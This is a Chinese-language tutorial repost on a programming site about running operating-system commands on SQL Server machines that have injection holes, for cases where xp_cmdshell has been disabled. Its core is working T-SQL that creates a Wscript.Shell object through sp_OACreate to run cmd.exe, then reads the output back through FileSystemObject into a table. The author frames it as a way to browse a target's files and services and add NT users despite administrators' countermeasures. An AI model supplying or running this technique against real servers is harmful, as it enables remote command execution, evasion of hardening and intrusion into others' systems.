All articles| All Pictures| All Softwares| All Video| Go home page| Write articles| Upload pictures

Reading number is top 10 articles
查询数据库中重复记录的方法_[SQL Server教程]
C#MD5算法_[Asp.Net教程]
ASP.NET服务器控件之视图状态_[Asp.Net教程]
HTML 5 预览(3)_[Html教程]
Visual C++ 6.0教程:控制结构之分支结构
探讨SQL,Server,2005.NET,CLR编程_mssql学习_编程技术
用Visual,C#实现文件下载_[Asp.Net教程]
ASP.NET一个最简单的会员登陆代码_[Asp.Net教程]
Php高手带路--问题汇总解答_[PHP教程]
Visual C++ 6.0教程:c++程序的组成之常量与变量
Reading number is top 10 pictures
Wild animals melee moment of life and death2
到底是谁撞谁呀?
29 the belle stars after bath figure2
这才叫绝色美女2
Men don't mature ten sign
The real super beauty13
The real super beauty2
好身材能把衣服穿出3D效果
Beauty ZhiHuiLin2
避免防盗门的猫眼变成钥匙眼
Download software ranking
Unix video tutorial14
Boxer vs Yellow5
Boxer vs Yellow2
Eclipse-CALMSANNY (second edition)
Unix video tutorial4
Eclipse 4.2.2 For Win64
Unix video tutorial6
Boxer's Top ten classic battle8
Unix video tutorial1
Eclipse 4.2.1 For Win32
归海一刀 published in(发表于) 2014/2/3 6:41:40 Edit(编辑)
不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令_[SQL Server教程]

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令_[SQL Server教程]

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令_[SQL Server教程]

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:


EXEC master.dbo.xp_cmdshell 'dir c:\'


但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。


对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]



思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。


以下是相应的SQL语句



CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。


EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌


WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END


DROP TABLE MYTMP


来源:网络







添加到del.icio.us 添加到新浪ViVi 添加到百度搜藏 添加到POCO网摘 添加到天天网摘365Key 添加到和讯网摘 添加到天极网摘 添加到黑米书签 添加到QQ书签 添加到雅虎收藏 添加到奇客发现 diigo it 添加到饭否 添加到飞豆订阅 添加到抓虾收藏 添加到鲜果订阅 digg it 貼到funP 添加到有道阅读 Live Favorites 添加到Newsvine 打印本页 用Email发送本页 在Facebook上分享


Disclaimer Privacy Policy About us Site Map

If you have any requirements, please contact webmaster。(如果有什么要求,请联系站长)
Copyright ©2011-
uuhomepage.com, Inc. All rights reserved.